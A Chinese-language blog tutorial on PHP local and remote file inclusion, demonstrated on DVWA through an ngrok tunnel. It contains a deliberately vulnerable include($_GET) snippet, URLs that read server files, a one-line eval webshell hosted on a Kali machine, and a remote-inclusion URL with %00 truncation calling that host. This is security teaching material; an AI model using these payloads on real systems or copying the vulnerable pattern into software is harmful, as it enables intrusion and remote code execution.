zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    ---恢复内容开始---

    文件包含

    程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。


    程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,
    但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。


    几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,
    而在JSP、ASP、程序中却非常少,甚至没有,这是有些语言设计的弊端。


    在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

    常见的函数

    • PHP

    include() , include_once() , require_once() , fopen() , readfile() ....

    • jsp/Servlet

    ava.io.file() , java.io.filereader() ....

    • asp

    include file , include virtual ....

    就先列这些把,我们主要以PHP为例子,来讲解文件这个漏洞。

    文件包含漏洞,分为本地包含,和远程包含。

    本地包含故名思议,就是在网站服务器的本身存在恶意文件,然后本地包含使用。

    远程包含,就是调用其他网站的恶意文件进行打开。

    下面来先说说,常见PHP包含函数的意思:

    include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
    
    require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
    
    include_once()require_once():若文件中代码已被包含则不会再次包含
    

    我们主要以第一个为例子,include()这个函数,本地包含。

    首先先搭建环境,我先写了一个简单的存在include()这个函数的PHP代码,用 id来当接受值。

    例子

    dvwa里面就有这样的漏洞环境。当然你也可以自己手动搭建,代码非常的简单:

    <?php
    $b=$_GET['b'];
    include($b);
    ?>
    

    这里我用dvwa演示。我用ngrok内网穿透,然后从kali里面访问

    访问dvwa

    文件包含漏洞又分本地包含和远程包含。

    本地包含即是包含服务器上的文件,而远程包含则可以包含远程服务器的文件

    文件包含展示

    这里有个password.txt,里面的内容是

    文件包含->

    http://11a02102.ngrok.io/dvwa/vulnerabilities/fi/?page=E:phpstudyWWWpassword.txt

    包含phpinfo.php->

    http://11a02102.ngrok.io/dvwa/vulnerabilities/fi/?page=E:phpstudyWWWphpinfo.php

    相对路径包含

    例:E:phpstuywwwphpinfo.php

    相对路径:............phpstuywwwphpinfo.php 效果是一样的,在现实的网站中。你有可能不知道物理路径的盘符

    而相对路径可以直达目的。

    远程文件包含

    当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

    首先得更改位于php.ini文件中906行的allow_url_include = on

    重新启动phpstuy

    重新启动服务后,在进去DVWA我们可以看到的是已经允许远程文件包含了。

    在kali下的/var/www/html中新建一个shell.php写入一句话木马

    <?php@eval($_GET['x']);?>
    

    启动apache服务 service apache2 start

    远程包含尝试

    还有就是说一下%00截断。不过我的php版本已经修复了%00截断这个漏洞

    http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.3.21:80/shell.php%00.txt

    如果没有修复的话,返回的参数是shell.php

     最后放上一首小歌

  • 相关阅读:
    通过使用 SQL,可以为列名称和表名称指定别名(Alias)
    BETWEEN 操作符
    IN 操作符
    SQL 通配符
    LIKE 操作符
    TOP 子句
    DELETE 语句
    Update 语句
    INSERT INTO 语句
    IOS SWIFT 网络请求JSON解析 基础一
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8728892.html
Copyright © 2011-2022 走看看